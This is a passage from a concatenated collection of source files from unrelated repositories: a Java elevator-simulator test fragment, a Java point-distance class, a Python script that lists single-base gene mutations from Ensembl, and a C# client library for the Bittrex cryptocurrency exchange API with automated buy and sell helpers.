DatagramPacket(regist,regist.length); DatagramSocket getRegist = new DatagramSocket(45); floorThread.start(); getRegist.receive(registration); // read in buffer //System.out.println(Arrays.toString(regist)); byte[] actualMsg = Arrays.copyOfRange(regist, 1, registration.getLength()); //System.out.println(Arrays.toString(actualMsg)); System.out.println(actualMsg.length); FloorRequest result = (FloorRequest) FloorRequest.getObjectFromBytes(actualMsg); assertTrue(result.floor == 2); assertTrue(result.carButton == 4); SimpleDateFormat dateFormat = new SimpleDateFormat("hh:mm:ss.SSS"); try { parsedDate = dateFormat.parse("14:05:15.0"); } catch (ParseException e) { e.printStackTrace(); } timestamp = new Timestamp(parsedDate.getTime()); assertTrue(result.timestamp.equals(timestamp)); assertTrue(result.floorButton.equalsIgnoreCase("Up")); getRegist.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } assertTrue(regist[0] == (byte)0); //assertTrue((int)regist[4] == 33); } // @Test // public void testReceiveRequest() // { // // Thread floorThread = new Thread(new Runnable() // { // @Override // public void run() // { // Floor f = new Floor(); // f.start(); // } // // }); // // byte[] request = new byte[] {0}; // try { // DatagramPacket requestPckt = new DatagramPacket(request,request.length, // InetAddress.getLocalHost(),45); // DatagramSocket sendReq = new DatagramSocket(); // floorThread.start(); // sendReq.send(requestPckt); // sendReq.close(); // } catch (IOException e) { // // fail("Did not send "); // e.printStackTrace(); // } // // byte[] arrival = new byte[100]; // try { // Thread.sleep(19500); // DatagramSocket getArrival = new DatagramSocket(69); // // DatagramPacket pck = new DatagramPacket(arrival,arrival.length); // getArrival.receive(pck); // getArrival.close(); // // // } catch (InterruptedException | IOException e) { // // TODO Auto-generated catch block // e.printStackTrace(); // } // // assertTrue((int)arrival[0] == 4); // assertTrue((int)arrival[1] == 0); // // // } // }
3835e26f43172d24e3563bb92c56cc976d8d95fd
[ "Java", "Text" ]
3
Java
ilhamrahman/Elevator-Control-Simulator
1642906882c6c4f0017608b1fdb3c2d4d9fc45a3
8cf5608cfa91eb379c70675017ea847d3c41ed63
refs/heads/main
<file_sep>package ru.stqa.pft.sandbox; public class MainPoint { public static void main(String[] args) { Point p1 = new Point(30,15); Point p2 = new Point(10,55); System.out.println(p1.distance(p2)); } } class Point{ public double x; public double y; public Point(double x, double y) { this.x = x; this.y = y; } public double distance(Point a) { return Math.sqrt((a.x - this.x) * (a.x - this.x) + (a.y - this.y) * (a.y - this.y)); } }
65d0ddb29b4307ada054048321cb8c8c550f422b
[ "Java" ]
1
Java
nikitarredline/untitled
7e6efb2bd6104962a2ad6f8c335db8d724066173
0d60c57498b2e96e8376c6f09bbbcd35e9d0aed4
refs/heads/master
<repo_name>JonasHell/single-mutations<file_sep>/README.md # Single Mutations Small method written for a colleague in a wet lab internship to simplify and speed up his workflow. The methods takes user inputs, fetches the gene sequence from a database and generates a file containing all single mutations. <file_sep>/get_all_single_mutations.py import requests, sys # get output filename and Ensembl ID as user input print("Enter output file location (e.g. C:/PATH/FILE.csv): ") filename = input() filename = str(filename) if not filename.endswith(".csv"): print("Please use .csv in filename.") sys.exit() print("Enter Ensembl ID: ") ID = input() ID = str(ID) print("output file: " + filename) print("Ensembl ID: " + ID) # request sequence from ensemble server server = "https://grch37.rest.ensembl.org" # use "https://rest.ensembl.org" for current ensembl version ext = "/sequence/id/" + ID + "?type=cds" req = requests.get(server+ext, headers={ "Content-Type" : "text/x-fasta"}) # check whether request is okay or not if not req.ok: req.raise_for_status() sys.exit() # convert sequence to text (string), save protein name and remove newline chars seq = req.text # first_line = seq[seq.find("\")] seq = seq[seq.find("\n")+1:] seq = seq.replace("\n", "") # write output in output file out_file = open(filename, "w") bases = ["A", "C", "G", "T"] position = 1 for letter in seq: for base in bases: if letter != base: out_file.write(str(position) + letter + ">" + base + "\n") # <EMAIL> position += 1 out_file.close()
814c0bd2710604313d604b5c72ed95a3acc3a7d1
[ "Markdown", "Python" ]
2
Markdown
JonasHell/single-mutations
7e60fae43921def9b1920a3d9cdf58f2a4d67738
682e55a9bed544704fb117787d743063686acc3d
refs/heads/main
<file_sep>from django.shortcuts import render, redirect from django.contrib.auth.models import User from django.db import IntegrityError from django.contrib.auth import authenticate, login from .models import ReviewModel def signupview(request): writelog('signup function is called') if request.method == 'POST': username_data = request.POST['username_data'] password_data = request.POST['password_data'] try: user = User.objects.create_user(username_data, '', password_data) except IntegrityError: return render(request, 'signup.html', {'error':'このユーザーはすでに登録されています'}) else: return render(request, 'signup.html', {}) return render(request, 'signup.html') def loginview(request): if request.method == 'POST': username_data = request.POST['username_data'] password_data = request.POST['password_data'] user = authenticate(request, username=username_data, password=<PASSWORD>_data) if user is not None: login(request, user) return redirect('list') else: return redirect('login') return render(request, 'login.html') def listview(request): object_list = ReviewModel.objects.all() return render(request, 'list.html',{'object_list':object_list}) def detailview(request, pk): object = ReviewModel.objects.get(pk=pk) return render(request, 'detail.html', {'object':object}) def writelog(text): print(text)<file_sep>from django.urls import path from .views import signupview, loginview, listview, detailview from django.conf import settings from django.conf.urls.static import static urlpatterns = [ path('signup/', signupview, name='signup'), path('login/', loginview, name='login'), path('list/', listview, name='list'), path('detail/<int:pk>/', detailview, name='detail'), ]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
d931077a1792d74b646707bd8afd1b76c971e78c
[ "Python" ]
2
Python
ysnr8811/reviewpractice
a2d344c42abfe9d2c2a3dd0d37b1f0d994aa8977
1374f6fd1c4ed5b66eca30e507972db5348320a7
refs/heads/master
<repo_name>evilmarty/page_title<file_sep>/install.rb if defined? RAILS_ROOT locale_path = File.join RAILS_ROOT, 'config', 'locales', 'page_titles' File.makedirs locale_path Dir['locales/*'].each do |file| File.copy file, locale_path end end<file_sep>/lib/page_title/controller.rb module PageTitle module Controller def self.included base base.class_eval do attr_accessor :page_title hide_action :page_title, :page_title= end end end end<file_sep>/rails/init.rb require File.join File.dirname(__FILE__), '..', 'lib', 'page_title'<file_sep>/lib/page_title/helper.rb module PageTitle module Helper def page_title options = {} @page_title || begin defaults = [:"actions.#{action_name}", ''] controller_names = controller_path.split('/') controller_names.each do |c| defaults.unshift :"controllers.#{controller_names.join('.')}.#{action_name}" controller_names.unshift end primary_lookup = defaults.shift options.reverse_merge! :scope => :page_title, :default => defaults assigns = instance_variables.inject({}) do |hash, ivar| name = ivar.gsub(/@/, '') hash[name.intern] = instance_variable_get(ivar).to_s unless name.blank? hash end options.reverse_merge! assigns translate primary_lookup, options end end def title_for_page_header *titles options = titles.extract_options!.reverse_merge :delimiter => ' - ' titles.reject(&:blank?).map { |t| html_escape(t) } * options[:delimiter] end end end<file_sep>/lib/page_title.rb require 'page_title/controller' require 'page_title/helper' ActionController::Base.class_eval do include PageTitle::Controller end ActionView::Base.class_eval do include PageTitle::Helper end
1fb558c23a9c25978d5b726f744bdcaffe42f270
[ "Ruby" ]
5
Ruby
evilmarty/page_title
48f148f24691386b59ac424e34045a93985de951
acd4a27f67fa9b7f8aa207e97f972d1bde2f3c60
refs/heads/master
<repo_name>evrimulgen/ExchangeNET<file_sep>/README.md # ExchangeNET A simple C# .NET Core 2.0.0 library for programmatically accessing the various crypto exchanges. Currently only Bittrex is supported. Instructions for installing .NET Core on the various Linux flavors: https://github.com/dotnet/core/blob/master/release-notes/download-archives/2.0.0-download.md<file_sep>/Bittrex/BittrexOrderBook.cs //================================================================================= // // Created by: MrYukonC // Created on: 23 OCT 2017 // //================================================================================= // // MIT License // // Copyright (c) 2017 MrYukonC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // //================================================================================= using System; using System.Text; using System.Collections.Generic; using Newtonsoft.Json; namespace MYC { public class BittrexOrderBook { //========================================================== public enum Type { Buy, Sell, Both } //========================================================== public class Entry { [JsonProperty] public Double Quantity { get; private set; } [JsonProperty] public Double Rate { get; private set; } public override String ToString() { StringBuilder SB = new StringBuilder(); SB.AppendFormat( "{0,-17} {1,-40:0.00000000}\n", "Quantity:", Quantity ); SB.AppendFormat( "{0,-17} {1,-40:0.00000000}\n", "Rate:", Rate ); return SB.ToString(); } } //========================================================== public BittrexOrderBook( List<Entry> InBuy, List<Entry> InSell ) { Buy = InBuy; Sell = InSell; } [JsonProperty("buy")] public List<Entry> Buy { get; private set; } [JsonProperty("sell")] public List<Entry> Sell { get; private set; } public override String ToString() { StringBuilder SB = new StringBuilder(); SB.AppendFormat( "{0,-17} {1,-40}\n", "Buy:", Buy != null ? Buy.Count : 0 ); if( Buy != null ) foreach( Entry E in Buy ) SB.Append( E.ToString() ); SB.AppendFormat( "{0,-17} {1,-40}\n", "Sell:", Sell != null ? Sell.Count : 0 ); if( Sell != null ) foreach( Entry E in Sell ) SB.Append( E.ToString() ); return SB.ToString(); } } }<file_sep>/Bittrex/BittrexTests.cs //================================================================================= // // Created by: MrYukonC // Created on: 06 DEC 2017 // //================================================================================= // // MIT License // // Copyright (c) 2017 MrYukonC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // //================================================================================= using System; using System.Collections.Generic; using System.Threading.Tasks; namespace MYC { public class BittrexTests { //========================================================== public BittrexTests() { } //========================================================== public void Run( Bittrex B ) { //TestGetMarkets( B ); //TestGetCurrencies( B ); //TestGetTicker( B, "ETH-ZEC" ); //TestGetMarketSummaries( B ); //TestGetMarketSummary( B, "ETH-ZEC" ); //TestGetOrderBook( B, "ETH-ZEC", BittrexOrderBook.Type.Both, 5 ); //TestGetMarketHistory( B, "ETH-ZEC" ); //TestGetBalances( B ); //TestGetBalance( B, "ZEC" ); //TestGetBalance( B, "ETH" ); //TestGetOpenOrders( B, "ETH-ZEC" ); //TestGetOrderHistory( B, "ETH-ZEC" ); //TestGetWithdrawalHistory( B, "ETH" ); //TestGetDepositHistory( B, "ZEC" ); //TestGetDepositAddress( B, "ZEC" ); //TestGetDepositAddress( B, "ETH" ); } //========================================================== private Boolean GetIsResultValid( BittrexMsg Msg ) { if( !Msg.Success ) Console.WriteLine( Msg.Message ); return Msg.Success; } //========================================================== public void GetMarkets( Bittrex B ) { BittrexResult<List<BittrexMarket>> Markets = B.GetMarkets(); if( GetIsResultValid( Markets ) ) foreach( BittrexMarket BM in Markets.Result ) Console.WriteLine( BM.ToString() ); } //========================================================== public void GetCurrencies( Bittrex B ) { BittrexResult<List<BittrexCurrency>> Currencies = B.GetCurrencies(); if( GetIsResultValid( Currencies ) ) foreach( BittrexCurrency BC in Currencies.Result ) Console.WriteLine( BC.ToString() ); } //========================================================== public void GetTicker( Bittrex B, String Market ) { BittrexResult<BittrexTicker> BT = B.GetTicker( Market ); if( GetIsResultValid( BT ) ) Console.WriteLine( BT.Result.ToString() ); } //========================================================== public void GetMarketSummaries( Bittrex B ) { BittrexResult<List<BittrexMarketSummary>> MarketSummaries = B.GetMarketSummaries(); if( GetIsResultValid( MarketSummaries ) ) foreach( BittrexMarketSummary BMS in MarketSummaries.Result ) Console.WriteLine( BMS.ToString() ); } //========================================================== public void GetMarketSummary( Bittrex B, String Market ) { BittrexResult<List<BittrexMarketSummary>> BMS = B.GetMarketSummary( Market ); if( GetIsResultValid( BMS ) ) Console.WriteLine( BMS.Result[ 0 ].ToString() ); } //========================================================== public void GetOrderBook( Bittrex B, String Market, BittrexOrderBook.Type OrderBookType, Int32 Depth ) { BittrexResult<BittrexOrderBook> BOB = B.GetOrderBook( Market, OrderBookType, Depth ); if( GetIsResultValid( BOB ) ) Console.WriteLine( BOB.Result.ToString() ); } //========================================================== public void GetMarketHistory( Bittrex B, String Market ) { BittrexResult<List<BittrexTrade>> MarketHistory = B.GetMarketHistory( Market ); if( GetIsResultValid( MarketHistory ) ) foreach( BittrexTrade BT in MarketHistory.Result ) Console.WriteLine( BT.ToString() ); } //========================================================== public void GetBalances( Bittrex B ) { BittrexResult<List<BittrexBalance>> Balances = B.GetBalances(); if( GetIsResultValid( Balances ) ) foreach( BittrexBalance BB in Balances.Result ) Console.WriteLine( BB.ToString() ); } //========================================================== public void GetBalance( Bittrex B, String Currency ) { BittrexResult<BittrexBalance> BB = B.GetBalance( Currency ); if( GetIsResultValid( BB ) ) Console.WriteLine( BB.Result.ToString() ); } //========================================================== public void GetOpenOrders( Bittrex B, String Market ) { BittrexResult<List<BittrexOrder1>> Orders = B.GetOpenOrders( Market ); if( GetIsResultValid( Orders ) ) foreach( BittrexOrder1 BO1 in Orders.Result ) Console.WriteLine( BO1.ToString() ); } //========================================================== public void GetOrderHistory( Bittrex B, String Market ) { BittrexResult<List<BittrexOrder1>> Orders = B.GetOrderHistory( Market ); if( GetIsResultValid( Orders ) ) foreach( BittrexOrder1 BO1 in Orders.Result ) Console.WriteLine( BO1.ToString() ); } //========================================================== public void GetWithdrawalHistory( Bittrex B, String Currency ) { BittrexResult<List<BittrexWithdrawal>> Withdrawals = B.GetWithdrawalHistory( Currency ); if( GetIsResultValid( Withdrawals ) ) foreach( BittrexWithdrawal BW in Withdrawals.Result ) Console.WriteLine( BW.ToString() ); } //========================================================== public void GetDepositHistory( Bittrex B, String Currency ) { BittrexResult<List<BittrexDeposit>> Deposits = B.GetDepositHistory( Currency ); if( GetIsResultValid( Deposits ) ) foreach( BittrexDeposit BD in Deposits.Result ) Console.WriteLine( BD.ToString() ); } //========================================================== public void GetDepositAddress( Bittrex B, String Currency ) { BittrexResult<BittrexAddress> BA = B.GetDepositAddress( Currency ); if( GetIsResultValid( BA ) ) Console.WriteLine( BA.Result.ToString() ); } } }<file_sep>/Bittrex/Bittrex.cs //================================================================================= // // Created by: MrYukonC // Created on: 21 OCT 2017 // //================================================================================= // // MIT License // // Copyright (c) 2017 MrYukonC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // //================================================================================= using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Net.Http; using System.Security.Cryptography; namespace MYC { public class Bittrex { static readonly String API_URL = "https://bittrex.com/api/"; static readonly String API_VER = "v1.1"; private String m_APIKey; private String m_APISecret; private ExchangeHttpClient m_HttpClient; //========================================================== public Bittrex( String APIKey, String APISecret ) { m_APIKey = APIKey; m_APISecret = APISecret; m_HttpClient = new BittrexHttpClient( API_URL ); } //========================================================== protected BittrexMsg GetInternal<T>( String APICall, Signer S = null ) where T : BittrexMsg, new() { try { Task<HttpResponseMessage> ResponseTask = m_HttpClient.Get( APICall, S ); if( ResponseTask == null ) return new T().Init( false, "Failed to get response task." ); ResponseTask.Wait(); HttpResponseMessage ResponseMsg = ResponseTask.Result; if( ResponseMsg.IsSuccessStatusCode == false ) return new T().Init( false, ResponseMsg.ReasonPhrase.ToString() ); return ResponseMsg.Content.ReadAsAsync<T>().Result; } catch( Exception E ) { return new T().Init( false, E.Message ); } } //========================================================== public BittrexResult<List<BittrexMarket>> GetMarkets() { return GetInternal<BittrexResult<List<BittrexMarket>>>( API_URL + API_VER + "/public/getmarkets" ) as BittrexResult<List<BittrexMarket>>; } //========================================================== public BittrexResult<List<BittrexCurrency>> GetCurrencies() { return GetInternal<BittrexResult<List<BittrexCurrency>>>( API_URL + API_VER + "/public/getcurrencies" ) as BittrexResult<List<BittrexCurrency>>; } //========================================================== public BittrexResult<BittrexTicker> GetTicker( String Market ) { return GetInternal<BittrexResult<BittrexTicker>>( API_URL + API_VER + "/public/getticker?market=" + Market ) as BittrexResult<BittrexTicker>; } //========================================================== public BittrexResult<List<BittrexMarketSummary>> GetMarketSummaries() { return GetInternal<BittrexResult<List<BittrexMarketSummary>>>( API_URL + API_VER + "/public/getmarketsummaries" ) as BittrexResult<List<BittrexMarketSummary>>; } //========================================================== public BittrexResult<List<BittrexMarketSummary>> GetMarketSummary( String Market ) { return GetInternal<BittrexResult<List<BittrexMarketSummary>>>( API_URL + API_VER + "/public/getmarketsummary?market=" + Market ) as BittrexResult<List<BittrexMarketSummary>>; } //========================================================== // This is BS Bittrex... // Either return an array or an object for _all_ options. // Not one or the other depending on which option is passed in. public BittrexResult<BittrexOrderBook> GetOrderBook( String Market, BittrexOrderBook.Type OrderBookType, Int32 Depth ) { Depth = Math.Min( 100, Math.Max( 1, Depth ) ); String APICall = API_URL + API_VER + "/public/getorderbook?market=" + Market + "&type=" + OrderBookType.ToString().ToLower() + "&depth=" + Depth; if( OrderBookType == BittrexOrderBook.Type.Buy ) { BittrexResult<List<BittrexOrderBook.Entry>> Result = GetInternal<BittrexResult<List<BittrexOrderBook.Entry>>>( APICall ) as BittrexResult<List<BittrexOrderBook.Entry>>; return new BittrexResult<BittrexOrderBook>( Result.Success, Result.Message, new BittrexOrderBook( Result.Success ? Result.Result : new List<BittrexOrderBook.Entry>(), new List<BittrexOrderBook.Entry>() ) ); } else if( OrderBookType == BittrexOrderBook.Type.Sell ) { BittrexResult<List<BittrexOrderBook.Entry>> Result = GetInternal<BittrexResult<List<BittrexOrderBook.Entry>>>( APICall ) as BittrexResult<List<BittrexOrderBook.Entry>>; return new BittrexResult<BittrexOrderBook>( Result.Success, Result.Message, new BittrexOrderBook( new List<BittrexOrderBook.Entry>(), Result.Success ? Result.Result : new List<BittrexOrderBook.Entry>() ) ); } return GetInternal<BittrexResult<BittrexOrderBook>>( APICall ) as BittrexResult<BittrexOrderBook>; } //========================================================== public BittrexResult<List<BittrexTrade>> GetMarketHistory( String Market ) { return GetInternal<BittrexResult<List<BittrexTrade>>>( API_URL + API_VER + "/public/getmarkethistory?market=" + Market ) as BittrexResult<List<BittrexTrade>>; } //========================================================== public BittrexResult<BittrexUuid> BuyLimit( String Market, Double Quantity, Double Rate ) { Signer S = new BittrexSigner( API_URL + API_VER + "/market/buylimit", "market=" + Market + "&quantity=" + Quantity + "&rate=" + Rate, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexUuid>>( S.APICallFinal, S ) as BittrexResult<BittrexUuid>; } //========================================================== public BittrexResult<BittrexUuid> SellLimit( String Market, Double Quantity, Double Rate ) { Signer S = new BittrexSigner( API_URL + API_VER + "/market/selllimit", "market=" + Market + "&quantity=" + Quantity + "&rate=" + Rate, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexUuid>>( S.APICallFinal, S ) as BittrexResult<BittrexUuid>; } //========================================================== public BittrexResult<String> Cancel( String OrderUuid ) { Signer S = new BittrexSigner( API_URL + API_VER + "/market/cancel", "uuid=" + OrderUuid, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexUuid>>( S.APICallFinal, S ) as BittrexResult<String>; } //========================================================== public BittrexResult<List<BittrexOrder1>> GetOpenOrders( String Market ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getopenorders", "market=" + Market, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<List<BittrexOrder1>>>( S.APICallFinal, S ) as BittrexResult<List<BittrexOrder1>>; } //========================================================== public BittrexResult<List<BittrexBalance>> GetBalances() { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getbalances", null, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<List<BittrexBalance>>>( S.APICallFinal, S ) as BittrexResult<List<BittrexBalance>>; } //========================================================== public BittrexResult<BittrexBalance> GetBalance( String Currency ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getbalance", "currency=" + Currency, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexBalance>>( S.APICallFinal, S ) as BittrexResult<BittrexBalance>; } //========================================================== public BittrexResult<BittrexAddress> GetDepositAddress( String Currency ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getdepositaddress", "currency=" + Currency, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexAddress>>( S.APICallFinal, S ) as BittrexResult<BittrexAddress>; } //========================================================== public BittrexResult<BittrexUuid> Withdraw( String Currency, Double Quantity, String Address, String PaymentId = null ) { String APICall = API_URL + API_VER + "/account/withdraw"; String APIArgs = "currency=" + Currency + "&quantity=" + Quantity + "&address=" + Address; if( !String.IsNullOrEmpty( PaymentId ) ) APIArgs += "&paymentid=" + PaymentId; Signer S = new BittrexSigner( APICall, APIArgs, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexUuid>>( S.APICallFinal, S ) as BittrexResult<BittrexUuid>; } //========================================================== public BittrexResult<BittrexOrder2> GetOrder( String OrderUuid ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getorder", "uuid=" + OrderUuid, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<BittrexOrder2>>( S.APICallFinal, S ) as BittrexResult<BittrexOrder2>; } //========================================================== public BittrexResult<List<BittrexOrder1>> GetOrderHistory( String Market = null ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getorderhistory", String.IsNullOrEmpty( Market ) ? null : "market=" + Market, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<List<BittrexOrder1>>>( S.APICallFinal, S ) as BittrexResult<List<BittrexOrder1>>; } //========================================================== public BittrexResult<List<BittrexWithdrawal>> GetWithdrawalHistory( String Currency = null ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getwithdrawalhistory", String.IsNullOrEmpty( Currency ) ? null : "currency=" + Currency, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<List<BittrexWithdrawal>>>( S.APICallFinal, S ) as BittrexResult<List<BittrexWithdrawal>>; } //========================================================== public BittrexResult<List<BittrexDeposit>> GetDepositHistory( String Currency = null ) { Signer S = new BittrexSigner( API_URL + API_VER + "/account/getdeposithistory", String.IsNullOrEmpty( Currency ) ? null : "currency=" + Currency, m_APIKey, m_APISecret ); return GetInternal<BittrexResult<List<BittrexDeposit>>>( S.APICallFinal, S ) as BittrexResult<List<BittrexDeposit>>; } } }<file_sep>/Bittrex/BittrexExt.cs //================================================================================= // // Created by: MrYukonC // Created on: 27 OCT 2017 // //================================================================================= // // MIT License // // Copyright (c) 2017 MrYukonC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // //================================================================================= using System; using System.Collections.Generic; using System.Threading; namespace MYC { public class BittrexExt : Bittrex { //========================================================== public BittrexExt( String APIKey, String APISecret ) : base( APIKey, APISecret ) {} //========================================================== public static Boolean GetIsCurrencyValid( String Currency ) { return !String.IsNullOrEmpty( Currency ) && Currency.Length == 3; } //========================================================== public static Boolean GetIsMarketValid( Bittrex B, String Market ) { if( String.IsNullOrEmpty( Market ) || Market.Length != 7 ) return false; return B.GetOrderBook( Market, BittrexOrderBook.Type.Buy, 1 ).Success; } //========================================================== public void AutoSell( String Market, String SellCurrency, String BuyCurrency, Double MinSellThresh = 0.001 ) { const Int32 SleepMS = 1000; if( !GetIsCurrencyValid( SellCurrency ) ) return; if( !GetIsCurrencyValid( BuyCurrency ) ) return; if( !GetIsMarketValid( this, Market ) ) return; //String Market = BuyCurrency.ToUpper() + "-" + SellCurrency.ToUpper(); String SellOrderUuid = String.Empty; while( true ) { BittrexResult<BittrexBalance> SellBalance = base.GetBalance( SellCurrency ); if( !SellBalance.Success ) { Console.WriteLine( SellBalance.Message ); break; } if( SellBalance.Result.Available < MinSellThresh ) { Console.WriteLine( String.Format( "{0:0.00000000} {1} does not meet the specified minimum sell amount threshold of {2} {3}", SellBalance.Result.Available, SellCurrency, MinSellThresh, SellCurrency ) ); break; } Console.WriteLine( String.Format( "{0} balance: {1:0.00000000}", SellCurrency, SellBalance.Result.Available ) ); if( !String.IsNullOrEmpty( SellOrderUuid ) ) base.Cancel( SellOrderUuid ); SellOrderUuid = String.Empty; BittrexResult<BittrexOrderBook> OrderBook = base.GetOrderBook( Market, BittrexOrderBook.Type.Buy, 1 ); if( !OrderBook.Success ) { Console.WriteLine( OrderBook.Message ); //Thread.Sleep( SleepMS ); //continue; break; } BittrexOrderBook.Entry BestOffer = OrderBook.Result.Buy[ 0 ]; Double SellAmount = Math.Min( SellBalance.Result.Available, BestOffer.Quantity ); Console.WriteLine( String.Format( "Attempt to sell {0:0.00000000} {1} @ {2:0.00000000} {3}/{4}", SellAmount, SellCurrency, BestOffer.Rate, SellCurrency, BuyCurrency ) ); BittrexResult<BittrexUuid> OrderUuid = base.SellLimit( Market, SellAmount, BestOffer.Rate ); if( !OrderUuid.Success ) { Console.WriteLine( OrderUuid.Message ); //continue; break; } SellOrderUuid = OrderUuid.Result.Uuid; Thread.Sleep( SleepMS ); } } //========================================================== public void AutoBuy( String Market, String SellCurrency, String BuyCurrency, Double MinSellThresh = 0.001 ) { const Int32 SleepMS = 1000; if( !GetIsCurrencyValid( SellCurrency ) ) return; if( !GetIsCurrencyValid( BuyCurrency ) ) return; if( !GetIsMarketValid( this, Market ) ) return; String BuyOrderUuid = String.Empty; while( true ) { BittrexResult<BittrexBalance> SellBalance = base.GetBalance( SellCurrency ); if( !SellBalance.Success ) { Console.WriteLine( SellBalance.Message ); break; } if( SellBalance.Result.Available < MinSellThresh ) { Console.WriteLine( String.Format( "{0:0.00000000} {1} does not meet the specified minimum sell amount threshold of {2} {3}", SellBalance.Result.Available, SellCurrency, MinSellThresh, SellCurrency ) ); break; } Console.WriteLine( String.Format( "{0} balance: {1:0.00000000}", SellCurrency, SellBalance.Result.Available ) ); if( !String.IsNullOrEmpty( BuyOrderUuid ) ) base.Cancel( BuyOrderUuid ); BuyOrderUuid = String.Empty; BittrexResult<BittrexOrderBook> OrderBook = base.GetOrderBook( Market, BittrexOrderBook.Type.Sell, 1 ); if( !OrderBook.Success ) { Console.WriteLine( OrderBook.Message ); //Thread.Sleep( SleepMS ); //continue; break; } BittrexOrderBook.Entry BestOffer = OrderBook.Result.Sell[ 0 ]; Double BuyAmount = Math.Min( BestOffer.Quantity, SellBalance.Result.Available / BestOffer.Rate ); BuyAmount = Math.Truncate( BuyAmount * 10 ) / 10; Console.WriteLine( String.Format( "Attempt to buy {0:0.00000000} {1} @ {2:0.00000000} {3}/{4} for a total of {5:0.000000000000} {6}", BuyAmount, BuyCurrency, BestOffer.Rate, SellCurrency, BuyCurrency, BuyAmount * BestOffer.Rate, SellCurrency ) ); BittrexResult<BittrexUuid> OrderUuid = base.BuyLimit( Market, BuyAmount, BestOffer.Rate ); if( !OrderUuid.Success ) { Console.WriteLine( OrderUuid.Message ); //continue; break; } BuyOrderUuid = OrderUuid.Result.Uuid; Thread.Sleep( SleepMS ); } } //========================================================== public void WithdrawAll( String Currency, String DestAddress, 